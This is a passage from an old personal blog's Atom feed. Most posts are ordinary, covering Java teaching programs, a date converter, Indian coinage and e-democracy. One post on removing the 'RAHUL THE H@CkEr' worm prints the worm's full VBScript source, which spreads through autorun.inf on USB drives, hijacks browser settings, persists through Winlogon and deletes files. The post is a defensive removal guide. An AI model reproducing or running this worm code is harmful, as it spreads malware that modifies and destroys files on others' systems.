pumkins. Botanical name is &lt;a href="http://en.wikipedia.org/wiki/Chayote"&gt;Sechium edule&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-3035905760935169177?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/3035905760935169177/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=3035905760935169177' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/3035905760935169177'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/3035905760935169177'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/01/conjoined-twins-in-plant-kingdom.html' title='Conjoined twins in plant kingdom?'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-7364101145386638836</id><published>2009-01-03T09:16:00.000-08:00</published><updated>2009-01-03T09:21:10.130-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='removal'/><category scheme='http://www.blogger.com/atom/ns#' term='worm'/><title type='text'>Easy Removal of RAHUL THE H@CkEr worm</title><content type='html'>A new worm seems to have made its way into my system via a pen drive. The worm changed my homepage to a rogue site "&lt;a href="http://www.rahulhackingarticle.wetpaint.com/"&gt;http://WWW.RAHULHACKINGARTICLE.WETPAINT.COM&lt;/a&gt;" and added "RAHUL THE &lt;a href="mailto:H@CkEr"&gt;H@CkEr&lt;/a&gt;" in place of Microsoft Internet Explorer in the title bar. The only harm that could be identified is the changing of the homepage permanently to a rogue link.&lt;br /&gt;&lt;br /&gt;The great wonder that i discovered while going through the source code is this worm actually deleted few other common threats that spread through the pen drive. So probably the intention of Rahul the Hacker was good? but then why set the homepage to a rogue link permanently?&lt;br /&gt;My antivirus is outdated and was not able to remove it.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;To easily remove the worm loginto windows in safe mode.You can goto windows safe mode by hitting the F8 button continuoulsy when the windows 98 or XP OS boots up.&lt;/li&gt;&lt;li&gt;After logging into windows in safe mode, goto task manager by pressing Ctrl+Alt+Delete. &lt;/li&gt;&lt;li&gt;Select Wscript.exe and click on end task.&lt;/li&gt;&lt;li&gt;Search and delete the files with the name "LOVERAHULSAS".&lt;/li&gt;&lt;li&gt;After having deleted the script file make sure the source pen drive is formated. Restart in normal mode.&lt;br /&gt;These steps will make it possible to set the homepage to anything required by you.&lt;br /&gt;All the traces of the worm can be removed by deleting the entry for "RAHUL THE &lt;a href="mailto:H@CkEr"&gt;H@CkEr&lt;/a&gt;" using "HiJackThis_v2".&lt;br /&gt;I got the entire source code of the worm after removing, its given below:&lt;br /&gt;&lt;span style="color:#ff0000;"&gt;Source of LOVERAHULSAS.vbs&lt;/span&gt;&lt;br /&gt; 'THIS IS AN ANTI VIRUS WHICH WILL WORK AS ##'A VIRUS AND WILL ONLY REPAIR YOUR WINDOWS#'AND WONT DO ANY HARM ''HACK THE WORLD'RAHUL THE &lt;a href="mailto:H@CkEr"&gt;H@CkEr&lt;/a&gt;&lt;a href="mailto:"&gt;'@FB1-INNOVATIONS&lt;/a&gt; RULEZZZ&lt;a href="mailto:"&gt;'LOVERAHULSAS@GMAIL.COM&lt;/a&gt;'http://WWW.RAHULHACKINGARTICLE.WETPAINT.COMOption ExplicitOn Error Resume Next&lt;br /&gt;Dim FOBJ,Shells,SystemDir,WinDir,Count,File,Drv,Drives,InDrive,ReadAll,AllFile,WriteAll,Del,Chg,folder,files,Delete,auto,rootDim alertSet FOBJ = CreateObject("Scripting.FileSystemObject")Set Shells = CreateObject("Wscript.Shell")Set WinDir = FOBJ.GetSpecialFolder(0)Set SystemDir =FOBJ.GetSpecialFolder(1)Set File = FOBJ.GetFile(WScript.ScriptFullName)Set Drv = File.DriveSet InDrive = FOBJ.drivesSet ReadAll = File.OpenAsTextStream(1,-2)do while not ReadAll.atendofstreamAllFile = AllFile &amp;amp; ReadAll.readlineAllFile = AllFile &amp;amp; vbcrlfLoop&lt;br /&gt;Count=Drv.DriveType&lt;br /&gt;Do  If Not FOBJ.FileExists(SystemDir &amp;amp; "\LOVERAHULSAS.vbs") then  set WriteAll = FOBJ.CreateTextFile(SystemDir &amp;amp; "\LOVERAHULSAS.vbs",2,true)  WriteAll.Write AllFile   WriteAll.close  set WriteAll = Fso.GetFile(SystemDir &amp;amp; "\LOVERAHULSAS.vbs")  WriteAll.Attributes = -1alert =MsgBox("THIS IS AN ANTI-VIRUS AND WILL HELP YOUR SYSTEM TO WORK PROPERLY", 4096,"RAHUL THE &lt;a href="mailto:H@CkEr"&gt;H@CkEr&lt;/a&gt;")&lt;br /&gt; End If&lt;br /&gt; Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Window Title","RAHUL THE &lt;a href="mailto:H@CkeR"&gt;H@CkeR&lt;/a&gt;" Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoFolderOptions","0","REG_DWORD" Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","0","REG_DWORD" Shells.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","0","REG_DWORD" Shells.RegWrite "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page","&lt;a href="http://www.rahulhackingarticle.wetpaint.com/"&gt;http://www.rahulhackingarticle.wetpaint.com/&lt;/a&gt;" Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell","explorer.exe" Shells.RegWrite "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit",SystemDir &amp;amp; "\userinit.exe," &amp;amp; _ SystemDir &amp;amp; "\wscript.exe " &amp;amp; SystemDir &amp;amp; "\LOVERAHULSAS.VBS"          For Each Drives In InDrive   root = Drives.Path &amp;amp; "\"  If FOBJ.GetParentFolderName(WScript.ScriptFullName)=root Then   Shells.Run "explorer.exe " &amp;amp; root  End If  Set folder=FOBJ.GetFolder(root)  Set Delete = FOBJ.DeleteFile(SystemDir &amp;amp; "\killvbs.vbs",true)Set Delete = FOBJ.DeleteFile(SystemDir &amp;amp; "\virusremoval.vbs",true)  For Each files In folder.Files   auto=Left(files.Name,7)   If UCase(auto)=UCase("autorun") Then    Set Delete = FOBJ.DeleteFile(root &amp;amp; files.Name,true)   End If   Next  If Drives.DriveType=2 Then   delext "inf",Drives.Path &amp;amp; "\"   delext "INF",Drives.Path &amp;amp; "\"  End if &lt;br /&gt;  If Drives.DriveType = 1 Or Drives.DriveType = 2 Then   If Drives.Path&lt;&gt; "A:" Then    delext "vbs",WinDir &amp;amp; "\"    delext "vbs",Drives.Path  &amp;amp; "\"        If FOBJ.FileExists(Drives.Path &amp;amp; "\ravmon.exe") Then     Fso.DeleteFile(Drives.Path &amp;amp; "\ravmon.exe")    End If    If FOBJ.FileExists(Drives.Path &amp;amp; "\sxs.exe") Then     Fso.DeleteFile(Drives.Path &amp;amp; "\sxs.exe")    End If    If FOBJ.FileExists(Drives.Path &amp;amp; "\winfile.exe") Then     FOBJ.DeleteFile(Drives.Path &amp;amp; "\winfile.exe")    End If    If FOBJ.FileExists(Drives.Path &amp;amp; "\run.wsh") Then     FOBJ.DeleteFile(Drives.Path &amp;amp; "\run.wsh")    End If        If Drives.DriveType = 1 Then     If Drives.Path&lt;&gt;"A:" Then&lt;br /&gt;    If Not FOBJ.FileExists(Drives.Path &amp;amp; "\LOVERAHULSAS.vbs") Then       Set WriteAll=FOBJ.CreateTextFile(Drives.Path &amp;amp; "\LOVERAHULSAS.vbs",2,True)       WriteAll.Write AllFile       WriteAll.Close       Set WriteAll = FOBJ.GetFile(Drives.Path &amp;amp; "\LOVERAHULSAS.vbs")       WriteAll.Attributes = -1      End If           If FOBJ.FileExists(Drives.Path &amp;amp; "\autorun.inf") Or FOBJ.FileExists(Drives.Path &amp;amp; "\AUTORUN.INF") Then        Set Chg = FOBJ.GetFile(Drives.Path &amp;amp; "\autorun.inf")       Chg.Attributes = -8       Set WriteAll = FOBJ.CreateTextFile(Drives.Path &amp;amp; "\autorun.inf",2,True)       WriteAll.writeline "[autorun]"       WriteAll.WriteLine "open=wscript.exe LOVERAHULSAS.vbs"       WriteAll.WriteLine "shell\open=Open"       WriteAll.WriteLine "shell\open\Command=wscript.exe LOVERAHULSAS.vbs"       WriteAll.Close       Set WriteAll = FOBJ.GetFile(Drives.Path &amp;amp; "\autorun.inf")       WriteAll.Attributes = -1      else       Set WriteAll = FOBJ.CreateTextFile(Drives.Path &amp;amp; "\autorun.inf",2,True)       WriteAll.writeline "[autorun]"       WriteAll.WriteLine "open=wscript.exe LOVERAHULSAS.vbs"       WriteAll.WriteLine "shell\open=Open"       WriteAll.WriteLine "shell\open\Command=wscript.exe LOVERAHULSAS.vbs"       WriteAll.Close       Set WriteAll = FOBJ.GetFile(Drives.Path &amp;amp; "\autorun.inf")       WriteAll.Attributes = -1      End if     End If    End If   End if    End If Next&lt;br /&gt; if Count &lt;&gt; 1 then Wscript.sleep 1000 end ifloop while Count&lt;&gt;1&lt;br /&gt;sub delext(File2Find, SrchPath)   Dim oFileSys, oFolder, oFile,Cut,Delete   Set oFileSys = CreateObject("Scripting.FileSystemObject")   Set oFolder = oFileSys.GetFolder(SrchPath)   For Each oFile In oFolder.Files  Cut=Right(oFile.Name,3)  If UCase(Cut)=UCase(file2find) Then   If oFile.Name &lt;&gt; "VirusRemoval.vbs" Then Set Delete = oFileSys.DeleteFile(srchpath &amp;amp; oFile.Name,true)  End If   NextEnd sub&lt;br /&gt;&lt;span style="color:#ff0000;"&gt;Content of autorun.ini&lt;/span&gt;&lt;br /&gt;[autorun]open=wscript.exe LOVERAHULSAS.vbsshell\open=Openshell\open\Command=wscript.exe LOVERAHULSAS.vbs&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-7364101145386638836?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/7364101145386638836/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=7364101145386638836' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/7364101145386638836'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/7364101145386638836'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/01/easy-removal-of-rahul-hcker-worm.html' title='Easy Removal of RAHUL THE H@CkEr worm'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-7919985302887520717</id><published>2009-01-01T21:44:00.000-08:00</published><updated>2009-01-01T22:08:39.015-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Still sane'/><title type='text'>E - democracy how far away?</title><content type='html'>The wikipedia defines e- democracy as " The use of electronic communications technologies such as the Internet in enhancing democratic processes within a democratic republic or representative democracy". Such a possibility, has serious consequences in the way the world is governed. The political rulers may get replaced by Direct democracy.&lt;br /&gt;&lt;br /&gt;We do have the technology to create a direct democratic rule today. However, will we ever be able to come up with the political will to enfiorce the same? In a country like India, which does not even allow for the &lt;strong&gt;entire&lt;/strong&gt; voter registration process to be online, the answer seems to be never. The efforts of &lt;a href="http://www.jaagore.com/"&gt;Jagore.com &lt;/a&gt;are indeed comendable in such a situation. With a smart ad that combined Tata Tea with Voter Registration the site has all the potential to attract the crowd.&lt;br /&gt;&lt;br /&gt;The simple interface makes it a breeze to get registered as a voter. The &lt;a href="http://www.eci.gov.in/"&gt;Election commision of India  &lt;/a&gt;have a website, which also ahs the required forms that need to be filled in. Jaagore.com, basically provides a better interface to fill the applcation form and directly printing it. The Election comission's site even has got the affidavits filled in by the contenstants on display on its site.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-7919985302887520717?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/7919985302887520717/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=7919985302887520717' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/7919985302887520717'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/7919985302887520717'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2009/01/e-democracy-how-far-away.html' title='E - democracy how far away?'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-2472334838011294375</id><published>2008-12-31T17:04:00.000-08:00</published><updated>2008-12-31T17:07:55.058-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Still sane'/><title type='text'>Will the Paisa go the Farthing way?</title><content type='html'>A "farthing" was a British coin worth one fourth of a penny. The farthing was continued to be used until 31 December 1960.With the growing rates of inflation it seems the paisa may go the farthing way. I have come across many vendors who refuse to accept 25 paisa coins, let alone 20, 10 or 5 paisa coins.So is it time for these coins to be removed from circulation? Are they actually useful?&lt;br /&gt;&lt;br /&gt;Australia and New Zealand removed their 1 and 2 cent coins in the early1990s. In 2006, Newzealand went ahead and demonetized the 5 cent coins as well.&lt;br /&gt;&lt;br /&gt;The 25 paise coin with the a Rhinoceros was issued in 1994, while aluminium20 paisa coin has 1988, the stainless steel 10 paisa has 1988. The square 5paisa is surprisingly from 1993.Even the latest of these coins are more than a decade old.&lt;br /&gt;&lt;br /&gt;The &lt;a href="http://www.rbi.org.in/currency/museum/c-rep.html"&gt;Indian Coinage&lt;/a&gt; lists the 10 paisa and 25 paisa as part of the Contemporary Coins. Although 25 paisa may still hold its utility. The 10 paisa may have outlived its useful life.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-2472334838011294375?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/2472334838011294375/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=2472334838011294375' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/2472334838011294375'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/2472334838011294375'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2008/12/will-paisa-go-farthing-way.html' title='Will the Paisa go the Farthing way?'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-8935058278541334334</id><published>2008-12-22T17:47:00.000-08:00</published><updated>2008-12-22T18:12:17.869-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><title type='text'>Java GUI to convert Julian date to Gregorain and vice versa</title><content type='html'>This  simple java desktop application  can convert  Julian dates into Gregorain and Gregorian dates to Julian dates.&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://webnadu.googlepages.com/JuliantoGregorian.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 418px; height: 255px;" src="http://webnadu.googlepages.com/JuliantoGregorian.jpg" alt="" border="0" /&gt;&lt;/a&gt;This tool is useful for those working with both distributed and mainframes at the same time. The dates in the distributed platforms are in Gregorian format(DD/MM/YYYY) and in Julian format (YY/DDD)in the mainframes.&lt;br /&gt;&lt;br /&gt;The conversion makes use of the below functions to do the calculations.&lt;br /&gt;&lt;br /&gt;public boolean &lt;span style="color: rgb(0, 0, 153);"&gt;isleapyear&lt;/span&gt;(int year){&lt;br /&gt;if ((year%4!=0)||(year%4==0)&amp;amp;&amp;amp;(year%100==0)&amp;amp;&amp;amp;(year%400!=0))&lt;br /&gt;return false;&lt;br /&gt;else&lt;br /&gt; return true;&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;public void &lt;span style="color: rgb(255, 0, 0);"&gt;jultogreg&lt;/span&gt;() {&lt;br /&gt;   int gdate,gmonth;&lt;br /&gt;   int mondays[] = {31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31};&lt;br /&gt;   int jyear=Integer.parseInt(jTextField1.getText());&lt;br /&gt;      int jdate=Integer.parseInt(jTextField2.getText());&lt;br /&gt;      if(jyear&amp;gt;=10 &amp;amp;&amp;amp; jyear&lt;100){jTextField3.setText("20"+jyear);}       &lt;br /&gt;else if(jyear&amp;gt;0 &amp;amp;&amp;amp; jyear&lt;100){jTextField3.setText("200"+jyear);}       &lt;br /&gt;else {JFrame mainFrame = JulianToGregorianApp.getApplication().getMainFrame();             JOptionPane.showMessageDialog(mainFrame,     "The Julian Year is out of range. Enter a value greater than 1 and less than 99.",     "Input Error",     JOptionPane.ERROR_MESSAGE);}        if(jdate&lt;1 ||jdate &amp;gt;367){&lt;br /&gt;JFrame mainFrame = JulianToGregorianApp.getApplication().getMainFrame();             JOptionPane.showMessageDialog(mainFrame,     "The Julian Date is out of range. Enter a value greater than 1 and less than 367.",     "Input Error",     JOptionPane.ERROR_MESSAGE);}        if((isleapyear(jyear))){mondays[1]++;}       &lt;br /&gt;gdate=jdate;        for(gmonth=0;gmonth&lt;12;gmonth++){       &lt;br /&gt;if((gdate-mondays[gmonth])&lt;1){            gmonth++;&lt;br /&gt; if ((gdate-mondays[gmonth])==0)            {gdate=mondays[gmonth];}            jTextField4.setText(gmonth+"");&lt;br /&gt; jTextField5.setText(gdate+"");            break;}&lt;br /&gt; gdate-=mondays[gmonth];        }             } &lt;br /&gt;&lt;br /&gt;public void &lt;span style="color: rgb(255, 0, 0);"&gt;gregtojul&lt;/span&gt;() {    &lt;br /&gt;int i;&lt;br /&gt; int gmondays[] = {31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31};    &lt;br /&gt;int ggyear=Integer.parseInt(jTextField3.getText());    &lt;br /&gt;int ggmonth=Integer.parseInt(jTextField4.getText());    &lt;br /&gt;int ggdate=Integer.parseInt(jTextField5.getText());     &lt;br /&gt;if((isleapyear(ggyear))){gmondays[1]++;}     ggmonth--;    &lt;br /&gt;for(i=0;i&amp;lt;ggmonth;i++){         ggdate+=gmondays[i];     }&lt;br /&gt; jTextField2.setText(ggdate+"");     } &lt;br /&gt;&lt;br /&gt;The conversion takes into consideration if the year is a leap year or not to do the calculations. The leap year or not function is very handy in determining if a given year is leap or not.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-8935058278541334334?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/8935058278541334334/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=8935058278541334334' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/8935058278541334334'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/8935058278541334334'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2008/12/java-gui-to-convert-julian-date-to.html' title='Java GUI to convert Julian date to Gregorain and vice versa'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-8458530817866245294</id><published>2008-12-16T03:42:00.000-08:00</published><updated>2008-12-16T03:48:12.792-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><title type='text'>Simple Java Program to understand String Manipulation</title><content type='html'>/*&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;Simple Java Program to understand String Manipulation&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;*/&lt;br /&gt;class VeryComplexHelloWorld{&lt;br /&gt;&lt;br /&gt;public static void main(String args[]){&lt;br /&gt;int i,j;&lt;br /&gt;String helloworldmessage="    HelloWorld          ";&lt;br /&gt;String helloworld="H-E-L-L-O-W-O-R-L-D";&lt;br /&gt;String[] listofchars;&lt;br /&gt;String helloworldobtianedafterspliting="";&lt;br /&gt;listofchars= helloworld.split("-");//splitting a string based on a delimiter&lt;br /&gt;j=listofchars.length;//getting the length of an array&lt;br /&gt;System.out.println("This Program does numerous manipulations to generate the Hello World message");&lt;br /&gt;for(i=0;i&lt;j;i++){&lt;br /&gt;helloworldobtianedafterspliting=helloworldobtianedafterspliting.concat(listofchars[i]);//Concatinating strings&lt;br /&gt;}&lt;br /&gt;helloworldmessage=helloworldmessage.trim();//to remove leading and trailing spaces&lt;br /&gt;helloworldmessage=helloworldmessage.toUpperCase();//Converting all characters of string to uppercase&lt;br /&gt;     if(helloworldmessage.equals(helloworldobtianedafterspliting)){//to compare two strings&lt;br /&gt;     System.out.println(helloworldmessage);&lt;br /&gt;     }&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;/*&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;Output of Complex Hello World&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;C:\Users\flower\Documents\javaprogs&gt;javac VeryComplexHelloWorld.java&lt;br /&gt;&lt;br /&gt;C:\Users\flower\Documents\javaprogs&gt;java VeryComplexHelloWorld&lt;br /&gt;This Program does numerous manipulations to generate the Hello World message&lt;br /&gt;HELLOWORLD&lt;br /&gt;&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;*/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-8458530817866245294?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/8458530817866245294/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=8458530817866245294' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/8458530817866245294'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/8458530817866245294'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2008/12/simple-java-program-to-understand_16.html' title='Simple Java Program to understand String Manipulation'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-2147737123540670370</id><published>2008-12-13T22:38:00.000-08:00</published><updated>2008-12-13T22:41:17.370-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><title type='text'>Simple Java Program to understand threading</title><content type='html'>/*&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;Simple Java Program to understand threading&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;*/&lt;br /&gt;public class ThreadingExample{&lt;br /&gt;&lt;br /&gt;private static class createdthread implements Runnable{&lt;br /&gt;&lt;br /&gt;    public void run(){&lt;br /&gt;    int i;&lt;br /&gt;    String threadname=Thread.currentThread().getName();//to get the name of current thread&lt;br /&gt;    System.out.format("%s is executing\n",threadname);&lt;br /&gt;    try{&lt;br /&gt;    for(i=0;i&lt;4;i++){&lt;br /&gt;    Thread.sleep(1000);//pausing the thread for 1 second&lt;br /&gt;    System.out.format("%s",threadname+":"+i+"\n");&lt;br /&gt;    }&lt;br /&gt;    }catch(InterruptedException e){&lt;br /&gt;    System.out.format("%s is Interrupted\n",threadname);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    }&lt;br /&gt;}&lt;br /&gt;public static void main(String args[]) throws InterruptedException{&lt;br /&gt;int timeforexecutingt0;&lt;br /&gt;timeforexecutingt0=Integer.parseInt(args[0]);&lt;br /&gt;Thread t0 = new Thread(new createdthread());&lt;br /&gt;Thread t1 = new Thread(new createdthread());&lt;br /&gt;t0.start();//start executing thread 0&lt;br /&gt;t1.start();//start executing thread 1&lt;br /&gt;t0.join(timeforexecutingt0);//wait for thread 0 to finish within 'timeforexecutingt0'&lt;br /&gt;t0.interrupt();//interrupt thread 0&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;/*&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;Time for thread 0 will differ from one system to another. It may also differ based on the load on the system at the time of execution.Try finding whats the optimal time for your setup.&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;C:\Users\flower\Documents\javaprogs&gt;javac ThreadingExample.java&lt;br /&gt;&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;Output when the execution time for thread 0 is not sufficient&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;C:\Users\flower\Documents\javaprogs&gt;java ThreadingExample 3000&lt;br /&gt;Thread-0 is executing&lt;br /&gt;Thread-1 is executing&lt;br /&gt;Thread-1:0&lt;br /&gt;Thread-0:0&lt;br /&gt;Thread-1:1&lt;br /&gt;Thread-0:1&lt;br /&gt;Thread-0 is Interrupted&lt;br /&gt;Thread-1:2&lt;br /&gt;Thread-1:3&lt;br /&gt;&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;Output when the execution time for thread 0 is sufficient&lt;br /&gt;------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;C:\Users\flower\Documents\javaprogs&gt;java ThreadingExample 5000&lt;br /&gt;Thread-0 is executing&lt;br /&gt;Thread-1 is executing&lt;br /&gt;Thread-0:0&lt;br /&gt;Thread-1:0&lt;br /&gt;Thread-0:1&lt;br /&gt;Thread-1:1&lt;br /&gt;Thread-1:2&lt;br /&gt;Thread-0:2&lt;br /&gt;Thread-1:3&lt;br /&gt;Thread-0:3&lt;br /&gt;&lt;br /&gt;C:\Users\flower\Documents\javaprogs&gt;*/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8350008403185423470-2147737123540670370?l=nagarjunv.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://nagarjunv.blogspot.com/feeds/2147737123540670370/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8350008403185423470&amp;postID=2147737123540670370' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/2147737123540670370'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8350008403185423470/posts/default/2147737123540670370'/><link rel='alternate' type='text/html' href='http://nagarjunv.blogspot.com/2008/12/simple-java-program-to-understand_6485.html' title='Simple Java Program to understand threading'/><author><name>Nagarjun</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8350008403185423470.post-8827540840647190588</id><published>2008-12-13T08:10:00.001-08:00</published><updated>2008-12-13T08:10:51.633-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='java'/><title type='text'>Simple java program to understand compiling and running a program inside a package</title><content type='html'>/*---------------------------------------------------------------------------------------&lt;br /&gt;Simple java program to understand compiling and running a program inside a package&lt;br /&gt;---------------------------------------------------------------------------------------*/&lt;br /&gt;package javaprogs.basic;&lt;br /&gt;&lt;br /&gt;class helloworld{&lt;br /&gt;&lt;br /&gt;public static void main(String args[]){&lt;br /&gt;&lt;br /&gt;System.out.println("Helloworld in basic package");&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;/*&lt;br /&gt;---------------------------------------------------------------------------------------&lt;br /&gt;Output of compiling and running a package&lt;br /&gt;---------------------------------------------------------------------------------------&lt;br /&gt;C:\Users\flower\Documents\javaprogs\basic&gt;javac helloworld.java&lt;br /&gt;&lt;br /&gt;C:\Users\flower\Documents\javaprogs\basic&gt;cd ..&lt;br /&gt;&lt;br /&gt;C:\Users\flower\Documents\javaprogs&gt;cd ..&lt;br /&gt;&lt;br /&gt;C:\Users\flower\Documents&gt;java javaprogs.basic.helloworld&lt;br /&gt;Helloworld in basic package&lt;br 